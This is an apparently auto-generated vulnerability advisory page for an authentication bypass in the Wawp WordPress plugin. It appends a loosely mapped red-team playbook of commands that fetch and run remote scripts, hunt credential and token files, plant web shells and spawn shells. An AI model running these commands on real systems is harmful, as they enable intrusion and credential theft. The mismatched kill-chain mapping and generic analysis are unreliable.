CVE-2024-52475
Overview
This vulnerability is an authentication bypass caused by improper validation of access controls within the Information Technology Wawp automation-web-platform. The root cause lies in the application's failure to correctly enforce authentication checks on certain alternate paths or channels, allowing unauthorized access. The affected component is the authentication mechanism of Wawp versions prior to 3.0.18, which does not adequately restrict access to protected resources.
Vulnerability Description
Authentication Bypass Using an Alternate Path or Channel vulnerability in Information Technology Wawp automation-web-platform allows Authentication Bypass.This issue affects Wawp: from n/a through < 3.0.18.
Impact
An attacker can gain unauthorized administrative access to the Wawp platform without valid credentials or user interaction. This enables full control over the affected system, including the ability to view, modify, or delete sensitive data and configurations. The compromise can lead to complete system takeover, data breaches, and disruption of IT operations relying on the platform. The vulnerability requires no authentication, making exploitation straightforward and increasing the risk of widespread abuse.
Solution
Upgrade the Information Technology Wawp automation-web-platform to version 3.0.18 or later, where this authentication bypass vulnerability has been addressed. The patch fixes the authentication enforcement logic to properly validate access on all endpoints. For detailed update instructions and verification, refer to the official advisory at https://patchstack.com/database/Wordpress/Plugin/automation-web-platform/vulnerability/wordpress-wawp-plugin-3-0-18-account-takeover-vulnerability?_s_id=cve.
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Full Analysis
The vulnerability in the Wawp automation-web-platform is characterized by an authentication bypass that can be exploited through an alternate path or channel. This flaw allows an attacker to gain unauthorized access to the system without the need for valid credentials. The issue arises from improper validation of user input, enabling malicious actors to manipulate requests in a way that circumvents standard authentication mechanisms. Specifically, the vulnerability affects versions prior to 3.0.18, leaving a significant number of installations vulnerable to exploitation. The technical underpinnings of this vulnerability suggest that the authentication process does not adequately verify the legitimacy of requests, allowing attackers to access sensitive functionalities or data without proper authorization.
Exploitation of this vulnerability can occur through various attack vectors. For instance, an attacker could craft a specially formatted request that the system erroneously interprets as legitimate, thereby bypassing authentication checks. This could be achieved through methods such as URL manipulation, where an attacker alters parameters in a web request to gain access to restricted areas of the application. Additionally, social engineering tactics could be employed to trick users into executing malicious scripts that exploit this flaw. The ease of exploitation, combined with the potential for significant unauthorized access, makes this vulnerability particularly concerning for organizations relying on the Wawp platform.
The real-world impact of this authentication bypass vulnerability can be profound, posing substantial business risks. Organizations that utilize the affected versions of the Wawp platform may find themselves exposed to data breaches, unauthorized transactions, or even complete system takeovers. The consequences of such incidents can include financial losses, reputational damage, and legal ramifications stemming from non-compliance with data protection regulations. Furthermore, the high CVSS score of 9.8 indicates that this vulnerability is critical and should be prioritized for remediation. The potential for widespread exploitation means that organizations must act swiftly to mitigate risks associated with this flaw.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments, including penetration testing and vulnerability scanning, can help identify instances of the flaw within their environments. Additionally, monitoring for unusual access patterns or unauthorized changes to system configurations can provide early warning signs of exploitation attempts. It is also crucial for organizations to keep their software up to date, applying patches and updates as they become available to eliminate known vulnerabilities. Educating employees about security best practices, including recognizing phishing attempts and the importance of strong authentication methods, can further reduce the risk of exploitation.
In conclusion, the authentication bypass vulnerability in the Wawp automation-web-platform presents a significant threat to organizations that have not yet upgraded to the latest version. The technical details reveal a serious flaw in the authentication process, while the potential attack vectors highlight the ease with which this vulnerability can be exploited. The real-world implications underscore the importance of addressing such vulnerabilities promptly to protect sensitive data and maintain operational integrity. By adopting robust detection and mitigation strategies, organizations can safeguard themselves against the risks posed by this critical vulnerability and enhance their overall cybersecurity posture.
Affected Products
No CPE information available.
Disclaimer
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GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
ubaydev/CVE-2024-52475
Broken Authentication in Wordpress plugin (Wawp Plugin < 3.0.18)
|
ubaydev | 0 | 1 | 2024-11-22 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
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Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
40%
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Low | Very High | |
| CAPEC-127 | Directory Indexing |
30%
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High | Medium |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
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Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
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References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
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https://nvd.nist.gov/vuln/detail/CVE-2024-52475 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/Wordpress/Plugin/automation-web-platform/vulnerability/wordpress-wawp-plugin-3-0-18-account-takeover-vulnerability?_s_id=cve |